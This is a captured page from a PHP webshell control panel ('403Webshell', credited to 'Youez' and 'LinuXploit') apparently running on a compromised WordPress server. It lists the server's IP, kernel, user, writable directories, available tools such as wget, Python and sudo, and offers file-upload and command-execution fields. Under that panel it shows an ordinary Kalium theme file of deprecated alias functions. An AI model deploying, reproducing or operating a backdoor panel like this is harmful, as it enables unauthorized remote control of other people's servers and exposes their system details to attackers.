403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache/htdocs/web/wp-content/themes/kalium/includes/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache/htdocs/web/wp-content/themes/kalium/includes/functions/alias-functions.php
<?php
/**
 * Kalium WordPress Theme
 *
 * Alias functions.
 *
 * @author Laborator
 * @link   https://kaliumtheme.com
 */
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Direct access not allowed.
}

/**
 * Get Theme Options data entry.
 *
 * @param string $option_name
 * @param string $default_value
 *
 * @return mixed
 *
 * @deprecated 3.0
 * @see        kalium_get_theme_option()
 */
function get_data( $option_name = null, $default_value = '' ) {
	return kalium_get_theme_option( $option_name, $default_value );
}

/**
 * Get element from array by key (fail safe).
 *
 * @param array  $arr
 * @param string $key
 *
 * @return mixed|null
 *
 * @deprecated 3.0
 * @see        kalium_get_array_key()
 */
function get_array_key( $arr, $key, $default_value = null ) {
	return kalium_get_array_key( $arr, $key, $default_value );
}

/**
 * Custom style generator.
 *
 * @param string $selector
 * @param string $props
 * @param string $media
 * @param bool   $footer
 *
 * @return void
 *
 * @deprecated 3.0
 * @see        kalium_append_custom_css()
 */
function generate_custom_style( $selector, $props = '', $media = '', $footer = false ) {
	kalium_append_custom_css( $selector, $props, $media, $footer );
}

/**
 * Get SVG file contents from theme directory.
 *
 * @param string $svg_path
 * @param string $id
 * @param int[]  $size
 * @param bool   $is_asset
 *
 * @return string
 *
 * @deprecated 3.0
 * @see        kalium_get_svg_file()
 */
function laborator_get_svg( $svg_path, $id = null, $size = [ 24, 24 ], $is_asset = true ) {
	$file_path = $is_asset ? "assets/{$svg_path}" : $svg_path;

	return kalium_get_svg_file( $file_path, $id, $size );
}

/**
 * Share network story.
 *
 * @param string $network
 * @param null   $post_id
 * @param string $class
 * @param bool   $icon
 *
 * @deprecated 3.0.9
 * @see        kalium_social_network_share_post_link()
 */
function share_story_network_link( $network, $post_id = null, $class = '', $icon = false ) {
	kalium_social_network_share_post_link( $network, $post_id, [
		'icon_only' => $icon,
		'class'     => $class,
	] );
}

Youez - 2016 - github.com/yon3zu
LinuXploit